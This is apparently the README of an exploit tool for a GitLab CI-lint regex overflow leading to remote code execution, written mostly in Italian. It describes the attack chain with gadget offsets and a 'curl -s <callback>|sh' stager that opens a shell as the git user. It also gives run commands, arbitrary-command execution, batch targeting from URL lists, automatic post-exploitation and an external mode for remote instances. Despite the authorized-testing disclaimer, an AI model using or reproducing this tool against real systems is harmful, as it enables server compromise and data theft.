CVE-2026-97229 GitLab CI lint overflow di interi con regex RCE — riproduzione della matrice di versioni InstaBox e reverse engineering del gadget libruby
Solo per test autorizzati. Utilizzare questo strumento esclusivamente contro sistemi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test (ambito bug-bounty, incarico per un cliente, laboratorio personale). L'uso non autorizzato è illegale.
Una richiesta CI-lint non autenticata che corrompe il matcher Onigmo e reindirizza l'esecuzione verso un
gadget system() all'interno di libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
La richiesta finale non è autenticata, ma impiantare la configurazione CI malevola richiede accesso in scrittura a un progetto pubblico (o a un'istanza che consente la registrazione autonoma e i progetti pubblici).
| Voce | Valore |
|---|---|
| Interessate (testate) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| Non sfruttabili | 19.2.8, 19.3.4 (eccezione, vedi sotto), 19.3.5, 19.4.2; 19.2.3 non ha immagine CE |
| Trigger | GET /api/v4/projects/:id/ci/lint non autenticato |
| Prerequisiti | raggiungibilità + scrittura su un progetto pubblico (token, account compromesso o registrazione aperta) |
| Impatto | esecuzione di comandi come git (uid 998) all'interno del container GitLab |
| Vincoli del PoC | build x86_64; il layout dipende dalla build di libruby.so, non dalla stringa di versione |
| Perimetro dell'advisory | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 è indicata come interessata dall'advisory, ma il suo
libruby.soincluso non entra mai nel percorso di espansione vulnerabile — non siamo riusciti a renderla sfruttabile (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
Nessun account cloud e nessun SSH: il laboratorio è Docker puro (daemon locale, DOCKER_HOST o un contesto docker).
Su Docker Desktop aggiungere --callback-host host.docker.internal.
include.rules.exists.regexp appositamente costruito più un percorso di repository di 110 byte.{5(?#)7805} così che la protezione contro le ripetizioni lato Rails (REPEAT_MAX=1000) non la rilevi.call e l'offset di system@plt, dirottando la VM.curl -s <callback>|sh, che fornisce una shell come utente del servizio git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
Il launcher applica le impostazioni di memoria necessarie all'exploit (sidekiq off, un worker Puma, buffer Postgres ridotti, --memory 6.5g --shm-size 256m), attende l'interfaccia utente e imposta la password di root.
Vedi lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Campo | Significato |
|---|---|
http | stato di GET /users/sign_in |
version | versione di GitLab letta dal container (null senza accesso al container) |
class | classificazione dell'advisory: affected / patched / not-listed / unknown |
libruby_md5 | identità di build del libruby.so del container di destinazione |
layout | finish / gadget / step (solo quando la build è nota o derivabile) |
exploitable | se è disponibile un layout; class=affected non lo implica |
layout_source | table, derived, o no-overflow-in-build |
class: "unknown" significa semplicemente che non erano disponibili informazioni sul container/versione — per un target solo URL
lo strumento non può classificare o derivare un layout. Vedi "External targets" di seguito.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Criterio di successo: lint è dropped(HTTPError) o http(502) e output inizia con
uid=998(git). Un 200 con valid:true significa che la build non è vulnerabile.
| Linea | Sfruttabile | Corretta / non sfruttabile |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 non ha immagine CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (il matcher non si espande mai), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Evidenze per build: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container è obbligatorio per il percorso di exploit corrente (libruby/layout + rails runner); layout è un
override opzionale per le build che lo strumento non riesce a leggere.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
Per ogni target, nell'ordine: probe → exploit → su RCE post-exploitation
(exploit/post/collect.sh; sovrascrivibile con --post-command-file, disabilitabile con --no-post).
--probe-only si ferma dopo il fingerprinting. Codice di uscita 0 se un qualsiasi target ha dato RCE.
Il payload necessita di tre costanti per build (gadget finish, system@plt, passo UTF-8). Ordine di risoluzione:
layout esplicito (0x… 0x… 12345);libruby.so del container tramite exploit/layout.py.Tutte le build vulnerabili note usano solo due layout: 0x486DA9/0x31EE29/1249885 e
0x4885A9/0x31E809/1256138.
--mode external richiede solo HTTP e un PAT (scope api): crea un progetto pubblico tramite l'API,
esegue il push con oauth2:<token>, avvia il lint non autenticato e rimuove il progetto successivamente.